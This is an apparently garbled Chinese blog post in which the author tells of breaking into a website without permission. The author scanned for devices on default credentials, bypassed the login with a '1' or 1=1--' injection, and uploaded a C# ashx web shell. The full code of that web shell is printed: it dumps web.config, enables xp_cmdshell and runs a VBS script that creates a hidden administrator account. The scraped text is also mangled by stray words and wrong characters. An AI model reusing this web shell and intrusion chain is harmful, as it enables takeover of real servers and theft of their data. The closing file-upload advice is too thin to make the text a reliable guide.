ASP.NET网站入侵第二波(LeaRun.信息化快速开发框架 已被笔者拿下)html
详细介绍请看第二波程序员
首先我要申明的是否是什么语言写出来的程序就不安全,而是得看写代码的人如何去写这个程序web
前些日子我去客户那调研,发现客户的监控系统用的是海康威视的硬盘录像机,而后默认用户名是amdin 密码是12345,回来后就想玩一玩看看有多少人用的是默认密码,因而就写了个扫描程序,很快扫描到了一大批网站,也获得不少采用的是默认用户名和密码。sql
玩了一两天后发现没什么好玩的,就随便在里面找找扫描记录,看到一些后台登录地址,因而就都测试下,而后就发现了这个网站:shell
最开始我是测试弱口令,数据库
admin amdin 等,随便测试了几个,没成功,因而开始测试sql的防注入,用户名输入 1' or 1=1-- 密码随便输了个1 登录,竟然登录成功了。。。。安全
但发现登录进来后报错了,,, 想了下多是用户名的问题,因而就找页面看看能不能看到个人登录用户名,最后找到写邮件里面看到了服务器
固然若是入侵只到这 你确定会绝对弱爆了。。。其实固然也是,由于我拿下了他的数据和程序。。。固然最好拿下了他的服务器,得知他服务器是作的端口映射,因而又拿下了他的路由器,而后就没有再继续往下进行了,固然还能够继续下去,好比 路由器的dns劫持,页面重定向,端口镜像等等框架
下面我开始介绍主要入侵页面,文件上传页面ide
本身写了个ashx页面,上传
代码很简单,就是读取网站的web.config文件而后以文本形式输出,
我先简单说下入侵流程:
一、读取web.config获得数据库链接
二、利用SQL Server执行命令添加Windows用户(由于网站默认是iis用户,没有权限直线net等相关操做,但SQL Server是基于本地服务运行的,权限很高)
我贴出我上传的ashx文件代码:
1 <%@ WebHandler Language="C#" Class="TextLd" %> 2 using System; 3 using System.Collections.Generic; 4 using System.Linq; 5 using System.Web; 6 using System.Data.SqlClient; 7 8 public class TextLd : IHttpHandler 9 { 10 public void CreateLocalUser(string newPath) 11 { 12 System.Diagnostics.Process.Start(@"d:\1.vbs"); 13 System.IO.File.WriteAllText(@"d:\1.vbs", "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '属性,admin组\r\nod=ob.Create(\"user\",\"test\") '创建用户 \r\nSetPassword \"1234\" '设置密码 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\""); 14 } 15 public void ShowWebConfig(HttpContext context) 16 { 17 context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config"))); 18 } 19 public void WriteVbs(HttpContext context) 20 { 21 System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"), "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '属性,admin组\r\nod=ob.Create(\"user\",\"test\") '创建用户 \r\nSetPassword \"1234\" '设置密码 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\""); 22 } 23 public void ExecuteSql(string connection, string sql) 24 { 25 using (SqlConnection con = new SqlConnection(connection)) 26 { 27 using (SqlCommand commd = new SqlCommand(sql, con)) 28 { 29 con.Open(); 30 commd.ExecuteNonQuery(); 31 con.Close(); 32 } 33 } 34 } 35 public void ProcessRequest(HttpContext context) 36 { 37 context.Response.ContentType = "text/plain"; 38 context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config"))); 39 try 40 { 41 var connection = context.Request.QueryString["connection"]; 42 switch (context.Request.QueryString["method"]) 43 { 44 case "1": WriteVbs(context); break; 45 case "2": 46 ExecuteSql(connection,@"sp_configure 'show advanced options',1 reconfigure"); 47 ExecuteSql(connection,@"sp_configure 'xp_cmdshell',1 reconfigure");//开启数据库的xp_cmdshell 48 break; 49 case "3": ExecuteSql(connection, "exec master..xp_cmdshell 'cscript " + context.Request.MapPath("~/1.vbs") + "'"); 50 break; 51 default: 52 ShowWebConfig(context); 53 break; 54 } 55 } 56 catch (Exception ex) 57 { 58 context.Response.Write(ex.Message); 59 } 60 context.Response.End(); 61 } 62 public bool IsReusable 63 { 64 get 65 { 66 return false; 67 } 68 } 69 }
而后一次执行,就这样服务器就被我拿下了。。。 创建了一个用户名为test密码是1234的超级管理员用户,因而测试下远程链接
而后弄干啥,你们都知道的。。。。
固然,若是不拿下他服务器,你想一想你都能直线你本身写的代码了。。。 什么坏事干不了。。。 固然本人只是测试了下可行性,就算不拿下服务器,执行sql语句把他数据库备份下载下来拿还不是分分钟的事情?
好了 我来总结下這次入侵吧,最主要的娄底其实不是他的sql注入(我的以为,固然他是导火索),而是文件上传,大部分程序员在写文件上传功能的时候,以前客户上传过来的文件保存到网站目录下的某个文件夹,不作任何处理,这也就是致使了他服务器被我拿下的最主要的入口。
因此我仍是奉劝你们一下,作文件上传仍是对文件进行下处理比较好,具体怎么处理我想聪明的你确定有不少方法。。。